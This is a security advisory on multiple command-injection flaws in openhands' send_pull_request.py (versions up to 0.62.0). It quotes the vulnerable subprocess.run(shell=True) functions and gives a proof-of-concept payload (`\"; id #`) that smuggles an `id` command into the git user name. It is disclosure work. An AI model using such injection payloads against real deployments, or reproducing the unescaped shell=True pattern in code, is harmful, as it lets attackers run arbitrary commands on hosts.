| 描述 | ### Summary
Multiple Command Injection vulnerabilities in openhands <=0.62.0 allow an attacker to run arbitrary system commands.
### Details
The vulnerability is caused by the usage of `subprocess.run` with shell enabled without any escaping protection (e.g. `shlex`, ref: <https://semgrep.dev/docs/cheat-sheets/python-command-injection>)
The vulnerability is present in the file *openhands/resolver/send_pull_request.py* and specifically in the functions:
- `initialize_repo`: here the payload can be inserted in the input value *base_commit*
```python
def initialize_repo(
output_dir: str, issue_number: int, issue_type: str, base_commit: str | None = None
) -> str:
"""Initialize the repository.
Args:
output_dir: The output directory to write the repository to
issue_number: The issue number to fix
issue_type: The type of the issue
base_commit: The base commit to checkout (if issue_type is pr)
"""
src_dir = os.path.join(output_dir, 'repo')
dest_dir = os.path.join(output_dir, 'patches', f'{issue_type}_{issue_number}')
if not os.path.exists(src_dir):
raise ValueError(f'Source directory {src_dir} does not exist.')
if os.path.exists(dest_dir):
shutil.rmtree(dest_dir)
shutil.copytree(src_dir, dest_dir)
logger.info(f'Copied repository to {dest_dir}')
# Checkout the base commit if provided
if base_commit:
result = subprocess.run(
f'git -C {dest_dir} checkout {base_commit}',
shell=True,
capture_output=True,
text=True,
)
if result.returncode != 0:
logger.info(f'Error checking out commit: {result.stderr}')
raise RuntimeError('Failed to check out commit')
return dest_dir
```
- `make_commit`: here the payload can be inserted in the input values *repo_dir*, *issue_type*, *git_user_name*, *git_user_email*
```python
def make_commit(
repo_dir: str,
issue: Issue,
issue_type: str,
git_user_name: str = 'openhands',
git_user_email: str = '[email protected]',
) -> None:
"""Make a commit with the changes to the repository.
Args:
repo_dir: The directory containing the repository
issue: The issue to fix
issue_type: The type of the issue
git_user_name: Git username for commits
git_user_email: Git email for commits
"""
# Check if git username is set
result = subprocess.run(
f'git -C {repo_dir} config user.name',
shell=True,
capture_output=True,
text=True,
)
if not result.stdout.strip():
# If username is not set, configure git with the provided credentials
subprocess.run(
f'git -C {repo_dir} config user.name "{git_user_name}" && '
f'git -C {repo_dir} config user.email "{git_user_email}" && '
f'git -C {repo_dir} config alias.git "git --no-pager"',
shell=True,
check=True,
)
logger.info(f'Git user configured as {git_user_name} <{git_user_email}>')
# Add all changes to the git index
result = subprocess.run(
f'git -C {repo_dir} add .', shell=True, capture_output=True, text=True
)
if result.returncode != 0:
logger.error(f'Error adding files: {result.stderr}')
raise RuntimeError('Failed to add files to git')
# Check the status of the git index
status_result = subprocess.run(
f'git -C {repo_dir} status --porcelain',
shell=True,
capture_output=True,
text=True,
)
# If there are no changes, raise an error
if not status_result.stdout.strip():
logger.error(
f'No changes to commit for issue #{issue.number}. Skipping commit.'
)
raise RuntimeError('ERROR: Openhands failed to make code changes.')
# Prepare the commit message
commit_message = f'Fix {issue_type} #{issue.number}: {issue.title}'
# Commit the changes
result = subprocess.run(
['git', '-C', repo_dir, 'commit', '-m', commit_message],
capture_output=True,
text=True,
)
if result.returncode != 0:
raise RuntimeError(f'Failed to commit changes: {result}')
```
- `update_existing_pull_request`: here the payload can be inserted in the input value *patch_dir*
```python
def update_existing_pull_request(
issue: Issue,
token: str,
username: str | None,
platform: ProviderType,
patch_dir: str,
llm_config: LLMConfig,
comment_message: str | None = None,
additional_message: str | None = None,
base_domain: str | None = None,
) -> str:
"""Update an existing pull request with the new patches.
Args:
issue: The issue to update.
token: The token to use for authentication.
username: The username to use for authentication.
platform: The platform of the repository.
patch_dir: The directory containing the patches to apply.
llm_config: The LLM configuration to use for summarizing changes.
comment_message: The main message to post as a comment on the PR.
additional_message: The additional messages to post as a comment on the PR in json list format.
base_domain: The base domain for the git server (defaults to "github.com" for GitHub, "gitlab.com" for GitLab, and "dev.azure.com" for Azure DevOps)
"""
# Set up headers and base URL for GitHub or GitLab API
# Determine default base_domain based on platform
if base_domain is None:
base_domain = (
'github.com'
if platform == ProviderType.GITHUB
else 'gitlab.com'
if platform == ProviderType.GITLAB
else 'dev.azure.com'
)
handler = None
if platform == ProviderType.GITHUB:
handler = ServiceContextIssue(
GithubIssueHandler(issue.owner, issue.repo, token, username, base_domain),
llm_config,
)
elif platform == ProviderType.AZURE_DEVOPS:
# For Azure DevOps, owner is "organization/project"
organization, project = issue.owner.split('/')
handler = ServiceContextIssue(
AzureDevOpsIssueHandler(token, organization, project, issue.repo),
llm_config,
)
else: # platform == ProviderType.GITLAB
handler = ServiceContextIssue(
GitlabIssueHandler(issue.owner, issue.repo, token, username, base_domain),
llm_config,
)
branch_name = issue.head_branch
# Prepare the push command
push_command = (
f'git -C {patch_dir} push '
f'{handler.get_authorize_url()}'
f'{issue.owner}/{issue.repo}.git {branch_name}'
)
# Push the changes to the existing branch
result = subprocess.run(push_command, shell=True, capture_output=True, text=True)
if result.returncode != 0:
logger.error(f'Error pushing changes: {result.stderr}')
raise RuntimeError('Failed to push changes to the remote repository')
# ...
```
### PoC
Here I'm providing a simple proof of concept in the cli, however every invocation of the functions mentioned above is vulnerable.
This the payload used for the function *make_commit()*: `\"; id #`.
As one of many examples, this payload can be set via openhands Local web GUI.
```console
Python 3.13.3 (main, Nov 24 2025, 20:53:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> git_user_name = '\"; id #'
>>> import subprocess
>>> subprocess.run(
... f'git -C fakerepo config user.name "{git_user_name}"',
... shell=True,
... check=True,
... )
fatal: cannot change to 'fakerepo': No such file or directory
uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),129(lxd),131(docker),133(libvirt)
CompletedProcess(args='git -C fakerepo config user.name ""; id #"', returncode=0)
```
### Impact
An attacker can execute arbitrary commands on the server host. All the CIA triad components are impacted.
### Credits
Edoardo Ottavianelli (@edoardottt) |
|---|